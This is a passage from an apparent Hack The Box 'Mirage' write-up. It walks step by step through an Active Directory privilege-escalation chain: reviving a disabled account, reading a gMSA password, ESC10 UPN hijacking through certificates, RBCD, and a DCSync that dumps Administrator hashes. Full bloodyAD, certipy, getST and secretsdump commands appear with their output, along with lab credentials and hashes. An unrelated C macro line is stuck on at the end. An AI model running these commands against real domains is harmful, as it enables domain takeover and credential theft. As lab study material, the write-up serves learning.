;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0x20014;;;S-1-5-21-2127163471-3824721834-2568365109-2602)(A;;0xf01ff;;;S-1-5-21-2127163471-3824721834-2568365109-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2127163471-3824721834-2568365109-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2127163471-3824721834-2568365109-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2127163471-3824721834-2568365109-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: javier.mmarshall
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=mirage,DC=htb
objectClass: top; person; organizationalPerson; user
objectGUID: c52e731b-30c1-439c-a6b9-0c2f804e5f08
objectSid: S-1-5-21-2127163471-3824721834-2568365109-1108
primaryGroupID: 513
pwdLastSet: 2025-07-20 15:11:39.298284+00:00
sAMAccountName: javier.mmarshall
sAMAccountType: 805306368
uSNChanged: 159940
uSNCreated: 24655
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: [email protected]
whenChanged: 2025-07-20 15:11:39+00:00
whenCreated: 2025-05-02 08:33:11+00:00

ACCOUNTDISABLE is flagged in the userAccountControl attribute.

Although it looks like this time we may don't have the GenericAll or GenericWrite to write over it, explicitly. However, we do have certain implicit write primitive beyond ForceChangePassword after testing (we don't need to go too deep into detailed security descriptors here):

Bash
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
        -u 'mark.bbond' -p '1day@atime' -k \
        set object 'javier.mmarshall' 'userAccountControl' \
        -v 512

Value 512 flags it as the normal account:

htb_mirage_16

But this is not enough, which will still returns us the KDC_ERR_CLIENT_REVOKED error again — she is still restricted by that DISABLE OU.

logonHours

If we look closer, we can see the logonHours attribute from previous dump is empty:

lastLogonTimestamp: 2025-05-22 21:45:29.508220+00:00
logonCount: 13
logonHours:
memberOf: CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb

It defines when a user is allowed to log on to the domain — no allowed login window means no login at all.

We inspect Mark's hours for comparison:

$ ./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
         -u 'mark.bbond' -p '1day@atime' -k \
         get object mark.bbond --attr logonHours --raw
         
[*] Querying offset from: mirage.htb
[*] faketime -f format: +25202.251346
25202.251346s
[*] Running: bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p 1day@atime -k get object mark.bbond --attr logonHours --raw

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////

Encoded in Base64, this maps to 21 bytes of 0xFF24/7 login.

Attempt to overwrite the logonHours attribute with bloodyAD:

Bash
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
        -u 'mark.bbond' -p '1day@atime' -k \
        set object 'javier.mmarshall' 'logonHours' \
        -v '////////////////////////////' --raw

Its fails due to LDAP restrictions:

msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb! Result code: "unwillingToPerform" Reason: "b'00
000032: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0\n\x00'"

This happens via bloodyAD when we want to set raw value to an object… So we pivot to PowerShell, using Mark's creds to sync his logonHours to Javier:

PowerShell
# Setup creds
$pwd  = ConvertTo-SecureString '1day@atime' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ('mirage\mark.bbond', $pwd)

# copy Mark's logonHours to Javier
$logonHours = (Get-ADUser -Identity mark.bbond -Credential $Cred -Properties LogonHours).LogonHours
Set-ADUser  -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}

Then reissue the password reset to validate access:

htb_mirage_18

And now we can validate the account again by changing her password:

htb_mirage_19

To ensure persistence and avoid any cleanup scripts reverting changes, immediately request a TGT:

Bash
./ft.sh mirage.htb \
getTGT.py 'mirage.htb/javier.mmarshall:Axura4sure~'

Javier is back.

ReadGMSAPassword

After reviving javier.mmarshall, we drop into gMSA password hunting — Javier has read access to the Group Managed Service Account (gMSA): Mirage-service$:

htb_mirage_20

Exploit this priv with Netexec:

Bash
export KRB5CCNAME=javier.mmarshall.ccache

./ft.sh mirage.htb \
nxc ldap dc01.mirage.htb \
        -u 'javier.mmarshall' --use-kcache \
        --gmsa
htb_mirage_21

Leaked Ntlm hash of the computer account Mirage-service$:

305806d84f7c1be93a07aaf40f0c7866

ADCS

Earlier recon (there're many ways and I got it via a small quick AV-bypass tool) flagged Active Directory Certificate Services (AD CS) as active:

[-] Certificate Services:

    * CA Name:                 mirage-DC01-CA
      DNSHostName:             dc01.mirage.htb
      WhenCreated:             5/1/2025 12:53:41 AM
      Flags:                   SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
      Enrollment Servers:
      Certificate Templates:   DirectoryEmailReplication,DomainControllerAuthentication,KerberosAuthentication,EFSRecovery,EFS,DomainController,WebServer,Machine,User,SubCA,Administrator
      Enrollment Endpoints:
      Supplied SAN Enabled:    FALSE
      Cert SubjectName:        CN=mirage-DC01-CA, DC=mirage, DC=htb
      Cert Thumbprint:         6665F5ABAA9AEC6DD876EACED27AB46051612F0B
      Cert Start Date:         7/4/2025 12:58:25 PM
      Cert End Date:           7/4/2125 1:08:25 PM
      - DACL on dc01.mirage.htb:LocalMachine:SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\mirage-DC01-CA
        Authenticated Users                       Enroll
        BUILTIN\Administrators                    ManageCA, ManageCertificates
                                                  Owner
        MIRAGE\Domain Admins                      ManageCA, ManageCertificates
        MIRAGE\Enterprise Admins                  ManageCA, ManageCertificates

As the DACL exploit path depicted from BloodHound has come to the end, we are going to look for other privesc opportunities from Certificate Service.

UPN Write Primitive

Request a TGT:

Bash
./ft.sh mirage.htb \
getTGT.py MIRAGE.HTB/Mirage-Service$ \
         -hashes :305806d84f7c1be93a07aaf40f0c7866

Run Certipy to perform enumeration:

Bash
mv "Mirage-Service\$.ccache" Mirage-Service.ccache
	
./ft.sh mirage.htb \
env KRB5CCNAME=Mirage-Service.ccache \
env KRB5_CONFIG=/tmp/mirage.krb5 \
certipy -debug find \
	-target dc01.mirage.htb \
	-dc-ip  $target_ip \
	-k \
	-vulnerable

Certipy shows no immediate misconfigs, so we go manual.

We pivot with the gMSA creds to enumerate write privileges on the Mirage-Service account:

Bash
./ft.sh mirage.htb \
env KRB5CCNAME=Mirage-Service.ccache \
env KRB5_CONFIG=/tmp/mirage.krb5 \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
        -k \
        get writable

Output:

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITE

It has the WRITE permission on the already compromised mark.bbond. The most common privilege escalation use case is to hijack the UPN—analogous to namespace hijacking in Linux. Directly setting the UPN to Administrator and expecting the Domain Controller to accept it is futile—modern AD hardens against such naive tricks.

But the essence of this attack lies in identity impersonation. By assigning a forged UPN to mark.bbond, we attempt to authenticate to domain services under a privileged identity. If these services—like CIFS, HTTPS, LDAP, SMB—don't enforce strict identity validation, we might slip past checks and operate as the impersonated user.

ESC10

With the SPN primitive available, the next step is to explore UPN-abuse paths documented in the Certipy wiki.

Schannel Certificate Mapping

It turns out we can identify another attack vector related to ESC10, by inspecting the SCHANNEL registry:

PowerShell
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
htb_mirage_22

Focus on the CertificateMappingMethods attribute:

  • 0x4 (0b100) ⇒ bit 2 is set and set only.
  • Bit 2 corresponds to UPN‑based certificate mapping

With UPN mapping active, Schannel will accept any client‑authentication certificate whose SubjectAltName:UPN matches an AD user's userPrincipalName. It means no certificate needs to be pre‑registered or strongly bound — that is the exact insecure configuration identified by ESC10.

Schannel (TLS/SSL stack on Windows) can map a client-auth certificate to an AD account by several methods. The registry value CertificateMappingMethods = 0x4 means the administrator has explicitly enabled only the “UPN‑mapping” method inside Schannel → schannel copies the UPN from the cert's SAN, looks up an AD object whose userPrincipalName matches, and logs us in as that account – no SID check, no strong binding, independent of Kerberos PKINIT settings.

So this is very similar as the concept for Namespace abuse in Linux. An attacker we can:

  1. Modify a low-priv user's UPN to set it as a privileged account's UPN (e.g. administrator)
  2. Obtain a client-auth certificate for that user, enroll a cert
  3. This cert will now contain UPN of the forged privileged user (e.g. administrator)
  4. Then use the cert to authenticate to LDAPS / IIS / WinRM etc.
  5. The certificate maps to the privileged account for the authenticated service (e.g. LDAPS), due to CertificateMappingMethods = 0x4 is set.

Exploit

With these two primitives confirmed (UPN write primitve & Schannel Certificate Mapping set as 0x4), we can try to privesc with ESC10.

Step 1, update the victim (mark.bbond) account's UPN to the target DC's sAMAccountName (suffixed with the domain, aka dc01$):

Bash
export KRB5CCNAME=Mirage-Service.ccache

./ft.sh mirage.htb \
certipy account update \
        -target dc01.mirage.htb \
        -dc-ip $target_ip \
        -k \
        -user 'mark.bbond' \
        -upn '[email protected]'
htb_mirage_23

Step 2, we acquire a new ticket for mark.bbond and request a client authentication certificate as the himself. Here we can use the universal User template:

JSON
"32": {
      "Template Name": "User",
      "Display Name": "User",
      "Certificate Authorities": [
        "mirage-DC01-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        67108864,
        536870912,
        2147483648
      ],
    
      ...
    
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
    
	...
    
      "Permissions": {
        	"Enrollment Permissions": {
          		"Enrollment Rights": [
            		"MIRAGE.HTB\\Domain Admins",
            		"MIRAGE.HTB\\Domain Users",
            		"MIRAGE.HTB\\Enterprise Admins"
          		]
        	},
          
		...
          
      	"[+] User Enrollable Principals": [
        "MIRAGE.HTB\\Domain Users"
     	 ],
    "[*] Remarks": {
        "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
        "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
      }
}

Request a new ticket for mark.bbond and use it to request a certificate:

Bash
# Get a new TGT for Mark
./ft.sh mirage.htb \
getTGT.py 'MIRAGE.HTB/mark.bbond:1day@atime' 

# Apply the kcache
export KRB5CCNAME=mark.bbond.ccache

# Request a tempalate with the hijacked UPN kcache
./ft.sh mirage.htb \
certipy -debug req \
        -target dc01.mirage.htb \
        -dc-ip $target_ip \
        -dc-host dc01.mirage.htb \
        -u 'mark.bbond' -k -no-pass \
        -ca mirage-DC01-CA \
        -template User

As a result, the certificate will be legitimately issued to the mark.bbond account, but the UPN in its SAN will be the manipulated [email protected]:

[+] Domain retrieved from CCache: MIRAGE.HTB
[+] Username retrieved from CCache: mark.bbond
[+] Nameserver: '10.129.107.1'
[+] DC IP: '10.129.107.1'
[+] DC Host: 'dc01.mirage.htb'
[+] Target IP: None
[+] Remote Name: 'dc01.mirage.htb'
[+] Domain: 'MIRAGE.HTB'
[+] Username: 'MARK.BBOND'
[+] Trying to resolve 'dc01.mirage.htb' at '10.129.107.8'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Checking for Kerberos ticket cache
[+] Loaded Kerberos cache from mark.bbond.ccache
[+] Using TGT from cache
[+] Username retrieved from CCache credential: mark.bbond
[+] Getting TGS for 'HOST/dc01.mirage.htb'
[+] Got TGS for 'HOST/dc01.mirage.htb'
[+] Trying to connect to endpoint: ncacn_np:10.129.107.1[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.107.1[\pipe\cert]
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[+] Found SID in security extension: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[+] Attempting to write data to 'dc01.pfx'
[+] Data written to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'

Revert the "victim" account's UPN to its original value — this is important, or the the next move may fail:

Bash
export KRB5CCNAME=Mirage-Service.ccache

./ft.sh mirage.htb \
certipy account update \
        -target dc01.mirage.htb \
        -dc-ip $target_ip \
        -k \
        -user 'mark.bbond' \
        -upn 'mark.bbond'

This is because our PFX contains a Security Identifier extension with Mark's SID, which outranks UPN mapping. We need to recover the original UPN mapping with its SID.

Then we can use the generated certificate dc01.pfx (a private key) to authenticate to LDAPS (Schannel) as the target DC:

Bash
./ft.sh mirage.htb \
certipy auth \
		-dc-ip $target_ip \
		-pfx dc01.pfx \
		-ldap-shell \
		-ldap-user-dn 'dc01$'

SAN UPN is updated and we open an LDAP shell:

htb_mirage_24

RBCD

Look up help manual in the LDAP shell:

# help

     add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
     rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
     add_user new_user [parent] - Creates a new user.
     add_user_to_group user group - Adds a user to a group.
     change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
     clear_rbcd target - Clear the resource based constrained delegation configuration information.
     disable_account user - Disable the user's account.
     enable_account user - Enable the user's account.
     dump - Dumps the domain.
     search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
     get_user_groups user - Retrieves all groups this user is a member of.
     get_group_users group - Retrieves all members of a group.
     get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
     grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
     set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
     set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
     start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
     write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
     whoami - get connected user
     dirsync - Dirsync requested attributes
     exit - Terminates this session.

With Domain Controller privileges in hand, we now control the heart of the domain—but even with limited LDAP rights, that's enough to pivot into full domain dominance.

The cleanest path forward is to overwrite the msDS‑AllowedToActOnBehalfOfOtherIdentity attribute on dc01$, enabling Resource-Based Constrained Delegation (RBCD).

  • Target: Can be computer objects or users we want to impersonate to (e.g. dc01$).
  • Grantee: The computer (or user) we control whose TGT/TGS will be used to impersonate anyone toward the target (e.g. Mirage-Service$).

"Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName)":

# set_rbcd dc01$ Mirage-Service$

Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy

With the delegation link forged, we request a new TGT as Mirage-Service$:

Bash
./ft.sh mirage.htb \
env KRB5_CONFIG=/tmp/mirage.krb5 \
getTGT.py MIRAGE.HTB/Mirage-Service$ \
         -hashes :305806d84f7c1be93a07aaf40f0c7866

Next, the classic RBCD flow — impersonate dc01$ itself and pivot back in with elevated access:

Bash
# Use the new kcahce for mirage-service$
export KRB5CCNAME='Mirage-Service$.ccache'

# S4U2self + S4U2Proxy
./ft.sh mirage.htb \
getST.py -spn 'cifs/dc01.mirage.htb' \
		-k -no-pass \
		-impersonate 'dc01$' \
		-dc-ip $target_ip \
		'mirage.htb/Mirage-Service$'

# Use the forged kcache
export KRB5CCNAME='dc01$.ccache'

# DCSync for Administrator
./ft.sh mirage.htb \
secretsdump.py 'dc01$'@dc01.mirage.htb -k -no-pass -dc-ip $target_ip -just-dc-user administrator

Dump hashes:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...

NTLM is truly disabled, but we can request a Kerberos ticket along with the admin hash:

Bash
./ft.sh mirage.htb \
env KRB5_CONFIG=/tmp/mirage.krb5 \
env KRB5CCNAME=administrator.ccache \
evil-winrm -i dc01.mirage.htb -r mirage.htb

Rooted:

htb_mirage_25


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)